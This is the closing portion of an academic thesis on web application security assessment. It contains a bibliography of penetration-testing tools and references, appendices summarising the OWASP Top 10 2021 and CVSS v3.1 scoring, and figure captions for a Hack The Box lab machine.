[7] “Nessus | wikiless.” https://wikiless.org/wiki/Nessus_(software), Oct. 2021.

[8] “Gantt project.” https://www.ganttproject.biz/, Oct. 2021.

[9] “Salary.com.” https://salary.com/, Feb. 2022.

[10] “Tarifa luz ahora.” https://tarifaluzhora.es/, Oct. 2021.

[11] “Precio medio final anual de la electricidad en españa de2010 a 2021.” https://es.statista.com/estadisticas/993787/precio-medio-final-de-la-electricidad-en-espana/, Feb. 2022.

[12] “Fixed broadband prices in europe 2017 - final report.” https://ec.europa.eu/digital-single-market/en/connectivity/, Feb. 2022.

[13] “Nist glossary: Blue team.” https://csrc.nist.gov/glossary/term/blue_team,Mar. 2022.

[14] W. Quinn, Boom and Bust A Global History of Financial Bubbles, pp. 152 - 169.Cambridge, 2020.

[15] “Netscape and sun announce javascript.” https://web.archive.org/web/20070916144913/http://wp.netscape.com/newsref/pr/newsrelease67.html,Mar. 2022.

[16] “Hackthebox website.” https://www.hackthebox.com/, Mar. 2022.

89

https://wikiless.org/wiki/List_of_data_breaches

https://wikiless.org/wiki/List_of_data_breaches

https://wikiless.org/wiki/Kanban

https://www.taiga.io/

https://www.kali.org/

https://parrotsec.org/

https://www.acunetix.com/

https://wikiless.org/wiki/Nessus_(software)

https://www.ganttproject.biz/

https://salary.com/

https://tarifaluzhora.es/

https://es.statista.com/estadisticas/993787/precio-medio-final-de-la-electricidad-en-espana/

https://es.statista.com/estadisticas/993787/precio-medio-final-de-la-electricidad-en-espana/

https://ec.europa.eu/digital-single-market/en/connectivity/

https://ec.europa.eu/digital-single-market/en/connectivity/

https://csrc.nist.gov/glossary/term/blue_team

https://web.archive.org/web/20070916144913/http://wp.netscape.com/newsref/pr/newsrelease67.html

https://web.archive.org/web/20070916144913/http://wp.netscape.com/newsref/pr/newsrelease67.html

https://www.hackthebox.com/

Bibliography 90

[17] “Hack the box + parrot os.” https://www.hackthebox.com/newsroom/supporting-parrot-os, Mar. 2022.

[18] “Neovim.” https://neovim.io/, Mar. 2022.

[19] “Dirb about.” http://dirb.sourceforge.net/about.html, Mar. 2022.

[20] “Dirbuster.” https://www.kali.org/tools/dirbuster/, Mar. 2022.

[21] “Burp suite.” https://portswigger.net/burp, Mar. 2022.

[22] “Owasp zap.” https://www.zaproxy.org/, Mar. 2022.

[23] “Hetty.” https://hetty.xyz/, Mar. 2022.

[24] “Nikto2.” https://cirt.net/Nikto2, Mar. 2022.

[25] “Owasp top 10 2021.” https://owasp.org/Top10/, Mar. 2022.

[26] “Owasp wstg.” https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf, Mar. 2022.

[27] “Cvss v3.1 specification document.” https://www.first.org/cvss/v3.1/specification-document, Mar. 2022.

[28] “Cvss v3.1 online calculator.” https://www.first.org/cvss/calculator/3.1,Mar. 2022.

[29] “Rfc-3986: Http over tls.” https://datatracker.ietf.org/doc/html/rfc2818,Mar. 2022.

[30] “Certificate authority | wikiless.” https://wikiless.org/wiki/Certificate_authority, Mar. 2022.

[31] “Rfc-3986: Characters.” https://datatracker.ietf.org/doc/html/rfc3986#section-2, Mar. 2022.

[32] “Joplin.” https://joplinapp.org/, Mar. 2022.

[33] “Photoprism.” https://photoprism.app/team, Mar. 2022.

[34] “Rfc-3912: Whois protocol specification.” https://datatracker.ietf.org/doc/html/rfc3912, Mar. 2022.

[35] “Refine web searches.” https://support.google.com/websearch/answer/2466433?hl=en, Mar. 2022.

[36] “Google hacking database.” https://www.exploit-db.com/google-hacking-database, Mar. 2022.

[37] “Instagram | wikiless.” https://wikiless.org/wiki/Instagram, Mar. 2022.

[38] “Github.” https://github.com, Mar. 2022.

https://www.hackthebox.com/newsroom/supporting-parrot-os

https://www.hackthebox.com/newsroom/supporting-parrot-os

https://neovim.io/

http://dirb.sourceforge.net/about.html

https://www.kali.org/tools/dirbuster/

https://portswigger.net/burp

https://www.zaproxy.org/

https://hetty.xyz/

https://cirt.net/Nikto2

https://owasp.org/Top10/

https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf

https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf

https://www.first.org/cvss/v3.1/specification-document

https://www.first.org/cvss/v3.1/specification-document

https://www.first.org/cvss/calculator/3.1

https://datatracker.ietf.org/doc/html/rfc2818

https://wikiless.org/wiki/Certificate_authority

https://wikiless.org/wiki/Certificate_authority

https://datatracker.ietf.org/doc/html/rfc3986#section-2

https://datatracker.ietf.org/doc/html/rfc3986#section-2

https://joplinapp.org/

https://photoprism.app/team



https://support.google.com/websearch/answer/2466433?hl=en

https://support.google.com/websearch/answer/2466433?hl=en

https://www.exploit-db.com/google-hacking-database

https://www.exploit-db.com/google-hacking-database

https://wikiless.org/wiki/Instagram

https://github.com

Bibliography 91

[39] “Gitlab.” https://gitlab.com, Mar. 2022.

[40] “Netcraft searchdns.” https://searchdns.netcraft.com/, Mar. 2022.

[41] “Shodan.” https://shodan.io/, Mar. 2022.

[42] “Pastebin.” https://pastebin.com/, Mar. 2022.

[43] “Pastebin kills search and that’s okay. no, really..” https://medium.com/zeroguard/pastebin-kills-search-and-thats-okay-no-really-621d03245267, Mar. 2022.

[44] “theharvester.” https://github.com/laramies/theHarvester, Mar. 2022.

[45] “Brute-force attack | wikiless.” https://wikiless.org/wiki/Brute-force_attack,Mar. 2022.

[46] “Wordlists for pentester.” https://www.hackingarticles.in/wordlists-for-pentester/, Mar. 2022.

[47] “Twitter | wikiless.” https://wikiless.org/wiki/Twitter, Mar. 2022.

[48] “Osint framework.” https://osintframework.com/, Mar. 2022.

[49] “Stateless protocol | wikiless.” https://wikiless.org/wiki/Stateless_protocol,Mar. 2022.

[50] “Tpc 3-way handshake process.” https://www.geeksforgeeks.org/tcp-3-way-handshake-process/, Mar. 2022.

[51] “Nmap website.” http://nmap.org/, Mar. 2022.

[52] “Ubuntu server website.” https://ubuntu.com/download/server, Mar. 2022.

[53] “Virtualbox website.” https://www.virtualbox.org/, Mar. 2022.

[54] “Legal issues | nmap network scanning.” https://nmap.org/book/legal-issues.html, Mar. 2022.

[55] “Happy 10th birthday cross-site scripting!.” https://web.archive.org/web/20100626045724/http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx, Apr. 2022.

[56] “What is sanitization.” https://www.webopedia.com/definitions/input-sanitization/, Apr. 2022.

[57] “Cross-site request forgery | owasp.” https://owasp.org/www-community/attacks/csrf, Mar. 2022.

[58] “Sql injection | owasp.” https://owasp.org/www-community/attacks/SQL_Injection, Mar. 2022.

[59] “John the ripper password cracker.” https://www.openwall.com/john/, Apr. 2022.

https://gitlab.com

https://searchdns.netcraft.com/

https://shodan.io/

https://pastebin.com/

https://medium.com/zeroguard/pastebin-kills-search-and-thats-okay-no-really-621d03245267

https://medium.com/zeroguard/pastebin-kills-search-and-thats-okay-no-really-621d03245267

https://github.com/laramies/theHarvester

https://wikiless.org/wiki/Brute-force_attack

https://www.hackingarticles.in/wordlists-for-pentester/

https://www.hackingarticles.in/wordlists-for-pentester/

https://wikiless.org/wiki/Twitter

https://osintframework.com/

https://wikiless.org/wiki/Stateless_protocol

https://www.geeksforgeeks.org/tcp-3-way-handshake-process/

https://www.geeksforgeeks.org/tcp-3-way-handshake-process/

http://nmap.org/

https://ubuntu.com/download/server

https://www.virtualbox.org/

https://nmap.org/book/legal-issues.html

https://nmap.org/book/legal-issues.html

https://web.archive.org/web/20100626045724/http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx



https://www.webopedia.com/definitions/input-sanitization/

https://www.webopedia.com/definitions/input-sanitization/

https://owasp.org/www-community/attacks/csrf

https://owasp.org/www-community/attacks/csrf

https://owasp.org/www-community/attacks/SQL_Injection

https://owasp.org/www-community/attacks/SQL_Injection

https://www.openwall.com/john/

Bibliography 92

[60] “Hashcat - advanced password recovery.” https://hashcat.net/hashcat/, Apr.2022.

[61] “Openvpn | wikiless.” https://wikiless.org/wiki/OpenVPN, Mar. 2022.

[62] “Web-300 oswe certification page.” https://www.offensive-security.com/awae-oswe/, Mar. 2022.

[63] “Pen-200 oscp certification page.” https://www.offensive-security.com/pwk-oscp/, Mar. 2022.

[64] “Netsecfocus trophy room list.” https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8, Mar. 2022.

[65] “Shell shoveling | wikiless.” https://wikiless.org/wiki/Shell_shoveling, Mar.2022.

[66] “Hacktricks | file upload.” https://book.hacktricks.xyz/pentesting-web/file-upload, Mar. 2022.

[67] “web.config file | microsoft documentation.” https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config, Mar. 2022.

[68] “502 bad gateway | mozilla developer docs.” https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/502, Mar. 2022.

[69] “hashid | kali linux tools.” https://www.kali.org/tools/hashid/, Mar. 2022.

[70] “Md5 | wikiless.” https://wikiless.org/wiki/MD5, Mar. 2022.

[71] “Code snippets generator.” https://carbon.now.sh/, Mar. 2022.

[72] “Sql injection with file upload.” https://neetech18.blogspot.com/2019/10/sql-injection-with-file-upload.html, Mar. 2022.

[73] “Url encoder.” https://www.urlencoder.net/, Mar. 2022.

[74] “Libre office.” https://libreoffice.org, Apr. 2022.

[75] “Daring fireball | markdown.” https://daringfireball.net/projects/markdown/,Apr. 2022.

[76] “Gantt charts with the pgfgantt package.” https://www.overleaf.com/latex/examples/gantt-charts-with-the-pgfgantt-package/jmkwfxrnfxnw, Apr.2022.

[77] “Iso 32000 (pdf).” https://www.pdfa.org/resource/iso-32000-pdf/, Apr. 2022.

[78] “Pdf.js.” https://mozilla.github.io/pdf.js/, Apr. 2022.

[79] “Pwndoc github repository.” https://github.com/pwndoc/pwndoc, Apr. 2022.

https://hashcat.net/hashcat/

https://wikiless.org/wiki/OpenVPN

https://www.offensive-security.com/awae-oswe/

https://www.offensive-security.com/awae-oswe/

https://www.offensive-security.com/pwk-oscp/

https://www.offensive-security.com/pwk-oscp/

https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8

https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8

https://wikiless.org/wiki/Shell_shoveling

https://book.hacktricks.xyz/pentesting-web/file-upload

https://book.hacktricks.xyz/pentesting-web/file-upload

https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config

https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config

https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/502

https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/502

https://www.kali.org/tools/hashid/

https://wikiless.org/wiki/MD5

https://carbon.now.sh/

https://neetech18.blogspot.com/2019/10/sql-injection-with-file-upload.html

https://neetech18.blogspot.com/2019/10/sql-injection-with-file-upload.html

https://www.urlencoder.net/

https://libreoffice.org

https://daringfireball.net/projects/markdown/

https://www.overleaf.com/latex/examples/gantt-charts-with-the-pgfgantt-package/jmkwfxrnfxnw

https://www.overleaf.com/latex/examples/gantt-charts-with-the-pgfgantt-package/jmkwfxrnfxnw

https://www.pdfa.org/resource/iso-32000-pdf/

https://mozilla.github.io/pdf.js/

https://github.com/pwndoc/pwndoc

A | Appendix: Theoretical Basics

A.1 OWASP Top 10 2021

The OWASP Top 10 2021 is the latest version of the OWASP Top 10.

In essence, the OWASP Top 10 was created as an awareness document back in 2003. Sinceits inception, it has been used a standard for testing web services security.

Every OWASP Top 10 category has an associated ID, in the next list, all categories willbe described [25].

• A01:2021 | Broken Access Control. Access control enforces policy such thatusers cannot act outside of their intended permissions. Failures typically lead tounauthorized information disclosure, modification, or destruction of all data or per-forming a business function outside the user’s limits.

• A02:2021 | Cryptographic Failures. The first thing is to determine the pro-tection needs of data in transit and at rest. For example, passwords, credit cardnumbers, health records, personal information, and business secrets require extraprotection, mainly if that data falls under privacy laws, e.g., EU’s General DataProtection Regulation (GDPR), or regulations, e.g., financial data protection suchas PCI Data Security Standard (PCI DSS).

• A03:2021 | Injection. Some of the more common injections are SQL, NoSQL, OScommand, Object Relational Mapping (ORM), LDAP, and Expression Language(EL) or Object Graph Navigation Library (OGNL) injection. The concept is iden-tical among all interpreters. Source code review is the best method of detectingif applications are vulnerable to injections. Automated testing of all parameters,headers, URL, cookies, JSON, SOAP, and XML data inputs is strongly encouraged.Organizations can include static (SAST), dynamic (DAST), and interactive (IAST)application security testing tools into the CI/CD pipeline to identify introducedinjection flaws before production deployment.

• A04:2021 | Insecure Design. Insecure design is a broad category representingdifferent weaknesses, expressed as “missing or ineffective control design.”. There is adifference between insecure design and insecure implementation. A secure design can

93

Appendix: Theoretical Basics 94

still have implementation defects, leading to vulnerabilities that may be exploited.An insecure design cannot be fixed by a perfect implementation as by definition,needed security controls were never created to defend against specific attacks. Oneof the factors that contribute to insecure design is the lack of business risk profilinginherent in the software or system being developed, and thus the failure to determinewhat level of security design is required.

• A05:2021 | Security Misconfiguration. The application might be vulnerableif the application is missing appropriate security hardening across any part of theapplication stack or improperly configured permissions on cloud services. If un-necessary features are enabled or installed (e.g., unnecessary ports, services, pages,accounts, or privileges) expands the attack surface. If default accounts and theirpasswords are still enabled and unchanged can lead to severe trouble. And anyconfiguration related problems that can be found.

• A06:2021 | Vulnerable and Outdated Components. The presence of appli-cations with outdated versions is usually linked to the presence of vulnerabilities.Also, it is very important to have the latest security patches installed to ensure thatno known vulnerabilities are present.

• A07:2021 | Identification and Authentication Failures. Confirmation of theuser’s identity, authentication, and session management is critical to protect againstauthentication-related attacks. Some examples can be the blocking of brute-forceattempts, user enumeration, allow insecure passwords. . .

• A08:2021 | Software and Data Integrity Failures. Software and data integrityfailures relate to code and infrastructure that does not protect against integrity vi-olations. An example of this is where an application relies upon plugins, libraries,or modules from untrusted sources, repositories, and content delivery networks(CDNs). An insecure CI/CD pipeline can introduce the potential for unautho-rized access, malicious code, or system compromise. Lastly, many applications nowinclude auto-update functionality, where updates are downloaded without sufficientintegrity verification and applied to the previously trusted application.

• A09:2021 | Security Logging and Monitoring Failures. This category is tohelp detect, escalate, and respond to active breaches. Without logging and moni-toring, breaches cannot be detected. You are vulnerable to information leakage bymaking logging and alerting events visible to a user or an attacker.

• A10:2021 | Server-Side Request Forgery (SSRF). SSRF flaws occur whenevera web application is fetching a remote resource without validating the user-suppliedURL. It allows an attacker to coerce the application to send a crafted request to anunexpected destination, even when protected by a firewall, VPN, or another typeof network access control list (ACL).


Without a concerted, repeatable application security configuration process, systemsare at a higher risk.

One of the difficulties of using the OWASP Top 10 as a standard is that it documentsapp security risks, and not necessarily easily testable issues. For example, A04:2021-Insecure Design is beyond the scope of most forms of testing. Another example is testingin place, in use, and effective logging and monitoring can only be done with interviewsand requesting a sampling of effective incident responses. A static code analysis tool canlook for the absence of logging, but it might be impossible to determine if business logicor access control is logging critical security breaches. Penetration testers may only beable to determine that they have invoked incident response in a test environment, whichare rarely monitored in the same way as production.

For this reason, the OWASP Web Security Testing Guide (WSTG) [26] exists. This is theguide that we will be following to fulfill all the tests needed in the OWASP methodology.

A.2 CVSS v3.1

Figure A.1: CVSS Metrics and equations. Source: v3.1: Specification Document

The Base equation is derived from two sub equations: the Exploitability sub-score equa-tion, and the Impact sub-score equation. The Exploitability sub-score equation is derivedfrom the Base Exploitability metrics, while the Impact sub-score equation is derived fromthe Base Impact metrics. This flow can be found in the Figure A.1.

Optionally, one can score the Temporal and Environmental metrics in order to moreaccurately reflect the relative severity posed by a vulnerability to a user’s environment ata specific point in time.

Scoring CVSS metrics also produces a vector string, a textual representation of the metricvalues used to score the vulnerability. This vector string is a specifically formatted text


string that contains each value assigned to each metric, and should always be displayedwith the vulnerability score.

Further information about how these scores are computed can be found in the officialSpecification Document [27]. For the purpose of this thesis, and what is commonly usedwhen creating the reports, we will be using an online CVSS calculator. First, the foun-dation in charge of CVSS, offers an official calculator for this purpose [28].

The interface of these calculators is simple, there are three boxes for each of the categories:Base, Temporal and Environmental. For each of the metrics within a category, severcheckboxes will be found. With these, we need to specify the nature of the vulnerabilitythat we have found.

Figure A.2: CVSS Calculator: Base Metrics box. Example of a simple network attack.

As we see in Figure A.2, the score for an attack like that would be 6.5, what would bean attack with a medium severity. Below, inside the green box, we can see the generatedvector string that defines all the characteristics of the vulnerability.

This string defines the CVSS version in the first place, the Attack Vector of typeNetwork. The Attack Complexity which is Low, the Privileges Required which is None.The User Interaction needed, which in this case was None. And, like this, all the metricsfrom the Base category.

If we added scoring from the other categories (Temporal and Environmental), the stringwould be larger, containing these specified optional metrics using the same nomenclature.

B | Appendix: Machines

B.1 Machine 01: Bounty

Figure B.1: Testing code for .config file upload

97

Appendix: Machines 98

Figure B.2: Code for web.config file with webshell.

Assessing web applications security - UPCommons

Documents

Transcript of Assessing web applications security - UPCommons